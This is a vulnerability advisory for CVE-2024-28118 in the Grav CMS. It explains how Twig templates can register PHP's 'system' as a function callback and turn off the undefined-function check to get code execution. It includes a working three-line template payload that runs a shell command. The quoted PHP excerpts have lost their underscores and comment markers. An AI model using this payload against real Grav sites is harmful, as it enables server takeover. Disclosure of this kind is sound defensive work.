CVE-2024-28118: Grav vulnerable to Server Side Template Injection (SSTI)

Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.

Details The twig context has a function declared called getFunction. php public function getFunction($name) { if (!$this->extensionInitialized) { $this->initExtensions(); }

if (isset($this->functions[$name])) { return $this->functions[$name]; }

foreach ($this->functions as $pattern => $function) { $pattern = strreplace('\\', '(.?)', pregquote($pattern, '#'), $count);

if ($count) { if (pregmatch('#^'.$pattern.'$#', $name, $matches)) { arrayshift($matches); $function->setArguments($matches);

return $function; } } }

foreach ($this->functionCallbacks as $callback) { if (false !== $function = \calluserfunc($callback, $name)) { return $function; } }

return false; } This function, if the value of $name does not exist in $this->functions, uses calluserfunc to execute callback functions stored in $this->functionCallbacks.

It is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.

The default function callback is as follows: php $this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefunctions'); if (isarray($allowed) and inarray($name, $allowed, true) and functionexists($name)) { return new TwigFunction($name, $name); } if ($config->get('system.twig.undefinedfunctions')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefunctions", EUSERDEPRECATED);

return new TwigFunction($name, $name); }

/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: system.twig.safefunctions")); }

return new TwigFunction($name, static function () {}); }

return false; }); If you look at this function, if the value of system.twig.undefinedfunctions is false, it returns false. In that case, it is possible for our registered callback to be executed.

At this time, the Grav\Common\Config\Config class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefinedfunctions to false. As a result, an attacker can execute any arbitrarily registered callback function.

PoC {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}

!image

Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.